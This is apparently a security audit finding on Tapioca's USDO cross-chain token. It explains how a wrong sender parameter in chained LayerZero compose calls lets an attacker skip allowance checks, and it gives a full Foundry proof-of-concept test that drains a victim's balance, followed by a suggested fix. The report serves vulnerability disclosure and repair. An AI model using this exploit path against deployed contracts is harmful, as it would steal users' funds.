Wrong parameter in remote transfer makes it possible to steal all USDO balance from users
Setting a wrong parameter when performing remote transfers enables an attack flow where USDO can be stolen from users.\\nThe following bug describes a way to leverage Tapioca's remote transfers in order to drain any user's USDO balance. Before diving into the issue, a bit of background regarding compose calls is required in order to properly understand the attack.\\nTapioca allows users to leverage LayerZero's compose calls, which enable complex interactions between messages sent across chains. Compose messages are always preceded by a sender address in order for the destination chain to understand who the sender of the compose message is. When the compose message is received, `TapiocaOmnichainReceiver.lzCompose()` will decode the compose message, extract the `srcChainSender_` and trigger the internal `_lzCompose()` call with the decoded `srcChainSender_` as the sender:\\n```\\n// TapiocaOmnichainReceiver.sol\\nfunction lzCompose(  \\n        address _from,\\n        bytes32 _guid,\\n        bytes calldata _message,\\n        address, //executor\\n        bytes calldata //extra Data\\n    ) external payable override {\\n        // rest of code\\n   \\n        // Decode LZ compose message.\\n        (address srcChainSender_, bytes memory oftComposeMsg_) =\\n            TapiocaOmnichainEngineCodec.decodeLzComposeMsg(_message);\\n\\n        // Execute the composed message.  \\n        _lzCompose(srcChainSender_, _guid, oftComposeMsg_);  \\n    }\\n```\\n\\nOne of the type of compose calls supported in tapioca are remote transfers. When the internal `_lzCompose()` is triggered, users who specify a msgType equal to `MSG_REMOTE_TRANSFER` will make the `_remoteTransferReceiver()` internal call be executed:\\n```\\n// TapiocaOmnichainReceiver.sol\\nfunction _lzCompose(address srcChainSender_, bytes32 _guid, bytes memory oftComposeMsg_) internal {\\n        // Decode OFT compose message.\\n        (uint16 msgType_,,, bytes memory tapComposeMsg_, bytes memory nextMsg_) =\\n            TapiocaOmnichainEngineCodec.decodeToeComposeMsg(oftComposeMsg_);\\n\\n        // Call Permits/approvals if the msg type is a permit/approval.\\n        // If the msg type is not a permit/approval, it will call the other receivers. \\n        if (msgType_ == MSG_REMOTE_TRANSFER) {   \\n            _remoteTransferReceiver(srcChainSender_, tapComposeMsg_);   \\n\\n   // rest of code\\n\\n}\\n```\\n\\nRemote transfers allow users to burn tokens in one chain and mint them in another chain by executing a recursive `_lzSend()` call. In order to burn the tokens, they will first be transferred from an arbitrary owner set by the function caller via the `_internalTransferWithAllowance()` function.\\n```\\n// TapiocaOmnichainReceiver.sol\\n\\nfunction _remoteTransferReceiver(address _srcChainSender, bytes memory _data) internal virtual {\\n        RemoteTransferMsg memory remoteTransferMsg_ = TapiocaOmnichainEngineCodec.decodeRemoteTransferMsg(_data);\\n\\n        /// @dev xChain owner needs to have approved dst srcChain `sendPacket()` msg.sender in a previous composedMsg. Or be the same address.\\n        _internalTransferWithAllowance(\\n            remoteTransferMsg_.owner, _srcChainSender, remoteTransferMsg_.lzSendParam.sendParam.amountLD\\n        );  \\n          \\n        // Make the internal transfer, burn the tokens from this contract and send them to the recipient on the other chain.\\n        _internalRemoteTransferSendPacket(\\n            remoteTransferMsg_.owner, \\n            remoteTransferMsg_.lzSendParam, \\n            remoteTransferMsg_.composeMsg \\n        ); \\n      \\n        // rest of code\\n    }\\n```\\n\\nAfter transferring the tokens via `_internalTransferWithAllowance()`, `_internalRemoteTransferSendPacket()` will be triggered, which is the function that will actually burn the tokens and execute the recursive `_lzSend()` call:\\n```\\n// TapiocaOmnichainReceiver.sol\\n\\nfunction _internalRemoteTransferSendPacket(    \\n        address _srcChainSender,\\n        LZSendParam memory _lzSendParam,   \\n        bytes memory _composeMsg\\n    ) internal returns (MessagingReceipt memory msgReceipt, OFTReceipt memory oftReceipt) {\\n        // Burn tokens from this contract\\n        (uint256 amountDebitedLD_, uint256 amountToCreditLD_) = _debitView(\\n            _lzSendParam.sendParam.amountLD, _lzSendParam.sendParam.minAmountLD, _lzSendParam.sendParam.dstEid \\n        );   \\n        _burn(address(this), amountToCreditLD_); \\n   \\n        // rest of code\\n      \\n        // Builds the options and OFT message to quote in the endpoint.\\n        (bytes memory message, bytes memory options) = _buildOFTMsgAndOptionsMemory(\\n            _lzSendParam.sendParam, _lzSendParam.extraOptions, _composeMsg, amountToCreditLD_, _srcChainSender \\n        ); // msgSender is the sender of the composed message. We keep context by passing `_srcChainSender`.\\n    \\n        // Sends the message to the LayerZero endpoint and returns the LayerZero msg receipt.\\n        msgReceipt =\\n            _lzSend(_lzSendParam.sendParam.dstEid, message, options, _lzSendParam.fee, _lzSendParam.refundAddress);\\n        // rest of code\\n    }\\n```\\n\\nAs we can see, the `_lzSend()` call performed inside `_internalRemoteTransferSendPacket()` allows to trigger the remote call with another compose message (built using the `_buildOFTMsgAndOptionsMemory()` function). If there is an actual `_composeMsg` to be appended, the sender of such message will be set to the `_internalRemoteTransferSendPacket()` function's `_srcChainSender` parameter.\\nThe problem is that when `_internalRemoteTransferSendPacket()` is called, the parameter passed as the source chain sender is set to the arbitrary owner address supplied by the caller in the initial compose call, instead of the actual source chain sender:\\n```\\n// TapiocaOmnichainReceiver.sol\\n\\nfunction _remoteTransferReceiver(address _srcChainSender, bytes memory _data) internal virtual {\\n        // rest of code\\n          \\n        // Make the internal transfer, burn the tokens from this contract and send them to the recipient on the other chain.\\n        _internalRemoteTransferSendPacket(\\n            remoteTransferMsg_.owner,  // <------ This parameter will become the _srcChainSender in the recursive compose message call\\n            remoteTransferMsg_.lzSendParam, \\n            remoteTransferMsg_.composeMsg \\n        ); \\n      \\n        // rest of code\\n    }\\n```\\n\\nThis makes it possible for an attacker to create an attack vector that allows to drain any user's USDO balance. The attack path is as follows:\\nExecute a remote call from chain A to chain B. This call has a compose message that will be triggered in chain B.\\nThe remote transfer message will set the arbitrary `owner` to any victim's address. It is important to also set the amount to be transferred in this first compose call to 0 so that the `attacker` can bypass the allowance check performed inside the `_remoteTransferReceiver()` call.\\nWhen the compose call gets executed, a second packed compose message will be built and triggered inside `_internalRemoteTransferSendPacket()`. This second compose message will be sent from chain B to chain A, and the source chain sender will be set to the arbitrary `owner` address that the `attacker` wants to drain due to the incorrect parameter being passed. It will also be a remote transfer action.\\nWhen chain A receives the compose message, a third compose will be triggered. This third compose is where the token transfers will take place. Inside the `_lzReceive()` triggered in chain A, the composed message will instruct to transfer and burn a certain amount of tokens (selected by the `attacker` when crafting the attack). Because the source chain sender is the victim address and the `owner` specified is also the victim, the `_internalTransferWithAllowance()` executed in chain A will not check for allowances because the `owner` and the spender are the same address (the victim's address). This will burn the attacker's desired amount from the victim's wallet.\\nFinally, a last `_lzSend()` will be triggered to chain B, where the burnt tokens in chain A will be minted. Because the compose calls allow to set a specific recipient address, the receiver of the minted tokens will be the `attacker`.\\nAs a summary: the attack allows to combine several compose calls recursively so that an attacker can burn victim's tokens in Chain A, and mint them in chain B to a desired address. The following diagram summarizes the attack for clarity:\\n\\nThe following proof of concept illustrates how the mentioned attack can take place. In order to execute the PoC, the following steps must be performed:\\nCreate an `EnpointMock.sol` file inside the `test` folder inside `Tapioca-bar` and paste the following code (the current tests are too complex, this imitates LZ's endpoint contracts and reduces the poc's complexity):\\n```\\n// SPDX-License-Identifier: LZBL-1.2\\n\\npragma solidity ^0.8.20;\\n\\nstruct MessagingReceipt {\\n    bytes32 guid;\\n    uint64 nonce;\\n    MessagingFee fee;\\n}\\n\\nstruct MessagingParams {\\n    uint32 dstEid;\\n    bytes32 receiver;\\n    bytes message;\\n    bytes options; \\n    bool payInLzToken;\\n}\\n\\nstruct MessagingFee {\\n    uint256 nativeFee;\\n    uint256 lzTokenFee;\\n}\\ncontract MockEndpointV2  {\\n\\n  \\n    function send(\\n        MessagingParams calldata _params,\\n        address _refundAddress\\n    ) external payable  returns (MessagingReceipt memory receipt) {\\n        // DO NOTHING\\n    }\\n\\n    /// @dev the Oapp sends the lzCompose message to the endpoint\\n    /// @dev the composer MUST assert the sender because anyone can send compose msg with this function\\n    /// @dev with the same GUID, the Oapp can send compose to multiple _composer at the same time\\n    /// @dev authenticated by the msg.sender\\n    /// @param _to the address which will receive the composed message\\n    /// @param _guid the message guid\\n    /// @param _message the message\\n    function sendCompose(address _to, bytes32 _guid, uint16 _index, bytes calldata _message) external {\\n         // DO NOTHING\\n        \\n    }\\n  \\n}\\n```\\n\\nImport and deploy two mock endpoints in the `Usdo.t.sol` file\\nChange the inherited OApp in `Usdo.sol` 's implementation so that the endpoint variable is not immutable and add a `setEndpoint()` function so that the endpoint configured in `setUp()` can be chainged to the newly deployed endpoints\\nPaste the following test insde `Usdo.t.sol` :\\n```\\nfunction testVuln_stealUSDOFromATargetUserDueToWrongParameter() public {\\n\\n        // Change configured enpoints\\n\\n        endpoints[aEid] = address(mockEndpointV2A);\\n        endpoints[bEid] = address(mockEndpointV2B);\\n\\n        aUsdo.setEndpoint(address(mockEndpointV2A));\\n        bUsdo.setEndpoint(address(mockEndpointV2B));\\n\\n        \\n        \\n        deal(address(aUsdo), makeAddr("victim"), 100 ether);\\n\\n        ////////////////////////////////////////////////////////\\n        //                 PREPARE MESSAGES                   //\\n        ////////////////////////////////////////////////////////\\n\\n        // FINAL MESSAGE    A ---> B                  \\n\\n        SendParam memory sendParamAToBVictim = SendParam({\\n            dstEid: bEid,\\n            to: OFTMsgCodec.addressToBytes32(makeAddr("attacker")),\\n            amountLD: 100 ether, // IMPORTANT: This must be set to the amount we want to steal\\n            minAmountLD: 100 ether,\\n            extraOptions: bytes(""),\\n            composeMsg: bytes(""),\\n            oftCmd: bytes("")\\n        });  \\n        MessagingFee memory feeAToBVictim = MessagingFee({\\n            nativeFee: 0,\\n            lzTokenFee: 0\\n        });\\n        \\n        LZSendParam memory lzSendParamAToBVictim = LZSendParam({\\n            sendParam: sendParamAToBVictim,\\n            fee: feeAToBVictim,\\n            extraOptions: bytes(""),\\n            refundAddress: makeAddr("attacker")\\n        });\\n\\n        RemoteTransferMsg memory remoteTransferMsgVictim = RemoteTransferMsg({\\n            owner: makeAddr("victim"), // IMPORTANT: This will make the attack be triggered as the victim will become the srcChainSender in the destination chain\\n            composeMsg: bytes(""),\\n            lzSendParam: lzSendParamAToBVictim\\n        });\\n\\n        uint16 index; // needed to bypass Solidity's encoding literal error\\n        // Create Toe Compose message for the victim\\n        bytes memory toeComposeMsgVictim = abi.encodePacked(\\n            PT_REMOTE_TRANSFER, // msgType\\n            uint16(abi.encode(remoteTransferMsgVictim).length), // message length (0)\\n            index, // index\\n            abi.encode(remoteTransferMsgVictim), // message\\n            bytes("") // next message\\n        );\\n\\n        // SECOND MESSAGE     B ---> A                 \\n\\n        SendParam memory sendParamBToA = SendParam({\\n            dstEid: aEid,\\n            to: OFTMsgCodec.addressToBytes32(makeAddr("attacker")),\\n            amountLD: 0, // IMPORTANT: This must be set to 0 to bypass the allowance check performed inside `_remoteTransferReceiver()`\\n            minAmountLD: 0,\\n            extraOptions: bytes(""),\\n            composeMsg: bytes(""),\\n            oftCmd: bytes("")\\n        });  \\n        MessagingFee memory feeBToA = MessagingFee({\\n            nativeFee: 0,\\n            lzTokenFee: 0\\n        });\\n        \\n        LZSendParam memory lzSendParamBToA = LZSendParam({\\n            sendParam: sendParamBToA,\\n            fee: feeBToA,\\n            extraOptions: bytes(""),\\n            refundAddress: makeAddr("attacker")\\n        });\\n\\n        // Create remote transfer message\\n        RemoteTransferMsg memory remoteTransferMsg = RemoteTransferMsg({\\n            owner: makeAddr("victim"), // IMPORTANT: This will make the attack be triggered as the victim will become the srcChainSender in the destination chain\\n            composeMsg: toeComposeMsgVictim,\\n            lzSendParam: lzSendParamBToA\\n        });\\n\\n        // Create Toe Compose message\\n        bytes memory toeComposeMsg = abi.encodePacked(\\n            PT_REMOTE_TRANSFER, // msgType\\n            uint16(abi.encode(remoteTransferMsg).length), // message length\\n            index, // index\\n            abi.encode(remoteTransferMsg),\\n            bytes("") // next message\\n        );\\n         \\n        // INITIAL MESSAGE       A ---> B                      \\n\\n        // Create `_lzSendParam` parameter for `sendPacket()`\\n        SendParam memory sendParamAToB = SendParam({\\n            dstEid: bEid,\\n            to: OFTMsgCodec.addressToBytes32(makeAddr("attacker")),\\n            amountLD: 0,\\n            minAmountLD: 0,\\n            extraOptions: bytes(""),\\n            composeMsg: bytes(""),\\n            oftCmd: bytes("")\\n        });  \\n        MessagingFee memory feeAToB = MessagingFee({\\n            nativeFee: 0,\\n            lzTokenFee: 0\\n        });\\n        \\n        LZSendParam memory lzSendParamAToB = LZSendParam({\\n            sendParam: sendParamAToB,\\n            fee: feeAToB,\\n            extraOptions: bytes(""),\\n            refundAddress: makeAddr("attacker")\\n        });\\n\\n        vm.startPrank(makeAddr("attacker"));\\n        aUsdo.sendPacket(lzSendParamAToB, toeComposeMsg);\\n\\n        // EXECUTE ATTACK\\n\\n        // Execute first lzReceive() --> receive message in chain B\\n    \\n        vm.startPrank(endpoints[bEid]);\\n        UsdoReceiver(address(bUsdo)).lzReceive(\\n            Origin({sender: OFTMsgCodec.addressToBytes32(address(aUsdo)), srcEid: aEid, nonce: 0}), \\n            OFTMsgCodec.addressToBytes32(address(0)), // guid (not needed for the PoC)\\n            abi.encodePacked( // same as _buildOFTMsgAndOptions()\\n                sendParamAToB.to,\\n                 index,  // amount (use an initialized 0 variable due to Solidity restrictions)\\n                 OFTMsgCodec.addressToBytes32(makeAddr("attacker")),\\n                toeComposeMsg\\n            ), // message\\n            address(0), // executor (not used)\\n            bytes("") // extra data (not used)\\n        );\\n\\n        // Compose message is sent in `lzReceive()`, we need to trigger `lzCompose()`.\\n        // This triggers a message back to chain A, in which the srcChainSender will be set as the victim inside the\\n        // composed message due to the wrong parameter passed\\n        UsdoReceiver(address(bUsdo)).lzCompose(\\n            address(bUsdo), \\n            OFTMsgCodec.addressToBytes32(address(0)), // guid (not needed for the PoC)\\n            abi.encodePacked(OFTMsgCodec.addressToBytes32(address(aUsdo)), toeComposeMsg), // message\\n            address(0), // executor (not used)\\n            bytes("") // extra data (not used)\\n        );\\n\\n        vm.startPrank(endpoints[aEid]);\\n\\n        // Chain A: message is received, internally a compose flow is retriggered.\\n        UsdoReceiver(address(aUsdo)).lzReceive(\\n            Origin({sender: OFTMsgCodec.addressToBytes32(address(bUsdo)), srcEid: bEid, nonce: 0}), \\n            OFTMsgCodec.addressToBytes32(address(0)), // guid (not needed for the PoC)\\n            abi.encodePacked( // same as _buildOFTMsgAndOptions()\\n                sendParamAToB.to,\\n                 index,  // amount\\n                 OFTMsgCodec.addressToBytes32(makeAddr("attacker")),\\n                toeComposeMsgVictim\\n            ), // message\\n            address(0), // executor (not used)\\n            bytes("") // extra data (not used)\\n        );\\n\\n        // Compose message is sent in `lzReceive()`, we need to trigger `lzCompose()`.\\n        // At this point, the srcChainSender is the victim (as set in the previous lzCompose) because of the wrong parameter (the `expectEmit` verifies it).\\n        // The `owner` specified for the remote transfer is also the victim, so the allowance check is bypassed because `owner` == `srcChainSender`.\\n        // This allows the tokens to be burnt, and a final message is triggered to the destination chain\\n        UsdoReceiver(address(aUsdo)).lzCompose(\\n            address(aUsdo), \\n            OFTMsgCodec.addressToBytes32(address(0)), // guid (not needed for the PoC)\\n            abi.encodePacked(OFTMsgCodec.addressToBytes32(address(makeAddr("victim"))), toeComposeMsgVictim), // message (srcChainSender becomes victim because of wrong parameter set)\\n            address(0), // executor (not used)\\n            bytes("") // extra data (not used)\\n        );\\n\\n        // Back to chain B. Finally, the burnt tokens from the victim in chain A get minted in chain B with the attacker set as the destination\\n        {\\n            uint64 tokenAmountSD = usdoHelper.toSD(100 ether, bUsdo.decimalConversionRate());\\n            \\n            vm.startPrank(endpoints[bEid]);\\n            UsdoReceiver(address(bUsdo)).lzReceive(\\n                Origin({sender: OFTMsgCodec.addressToBytes32(address(aUsdo)), srcEid: aEid, nonce: 0}), \\n                OFTMsgCodec.addressToBytes32(address(0)), // guid (not needed for the PoC)\\n                abi.encodePacked( // same as _buildOFTMsgAndOptions()\\n                   OFTMsgCodec.addressToBytes32(makeAddr("attacker")),\\n                    tokenAmountSD\\n                ), // message\\n                address(0), // executor (not used)\\n                bytes("") // extra data (not used)\\n            );\\n\\n        }\\n\\n        // Finished: victim gets drained, attacker obtains balance of victim\\n        assertEq(bUsdo.balanceOf(makeAddr("victim")), 0);\\n        assertEq(bUsdo.balanceOf(makeAddr("attacker")), 100 ether);\\n          \\n    } \\n```\\n\\nRun the poc with the following command: `forge test --mt testVuln_stealUSDOFromATargetUserDueToWrongParameter`\\nThe proof of concept shows how in the end, the victim's `aUsdo` balance will become 0, while all the `bUsdo` in chain B will be minted to the attacker.
Change the parameter passed in the `_internalRemoteransferSendPacket()` call so that the sender in the compose call built inside it is actually the real source chain sender. This will make it be kept along all the possible recursive calls that might take place:\\n```\\nfunction _remoteTransferReceiver(address _srcChainSender, bytes memory _data) internal virtual {\\n        RemoteTransferMsg memory remoteTransferMsg_ = TapiocaOmnichainEngineCodec.decodeRemoteTransferMsg(_data);\\n\\n        /// @dev xChain owner needs to have approved dst srcChain `sendPacket()` msg.sender in a previous composedMsg. Or be the same address.\\n        _internalTransferWithAllowance(\\n            remoteTransferMsg_.owner, _srcChainSender, remoteTransferMsg_.lzSendParam.sendParam.amountLD\\n        );  \\n          \\n        // Make the internal transfer, burn the tokens from this contract and send them to the recipient on the other chain.\\n        _internalRemoteTransferSendPacket(\\n// Remove the line below\\n            remoteTransferMsg_.owner,\\n// Add the line below\\n           _srcChainSender\\n            remoteTransferMsg_.lzSendParam, \\n            remoteTransferMsg_.composeMsg \\n        ); \\n      \\n        emit RemoteTransferReceived(\\n            remoteTransferMsg_.owner,\\n            remoteTransferMsg_.lzSendParam.sendParam.dstEid,\\n            OFTMsgCodec.bytes32ToAddress(remoteTransferMsg_.lzSendParam.sendParam.to),\\n            remoteTransferMsg_.lzSendParam.sendParam.amountLD\\n        );\\n    }\\n```\\n
High. An attacker can drain any USDO holder's balance and transfer it to themselves.
```\\n// TapiocaOmnichainReceiver.sol\\nfunction lzCompose(  \\n        address _from,\\n        bytes32 _guid,\\n        bytes calldata _message,\\n        address, //executor\\n        bytes calldata //extra Data\\n    ) external payable override {\\n        // rest of code\\n   \\n        // Decode LZ compose message.\\n        (address srcChainSender_, bytes memory oftComposeMsg_) =\\n            TapiocaOmnichainEngineCodec.decodeLzComposeMsg(_message);\\n\\n        // Execute the composed message.  \\n        _lzCompose(srcChainSender_, _guid, oftComposeMsg_);  \\n    }\\n```\\n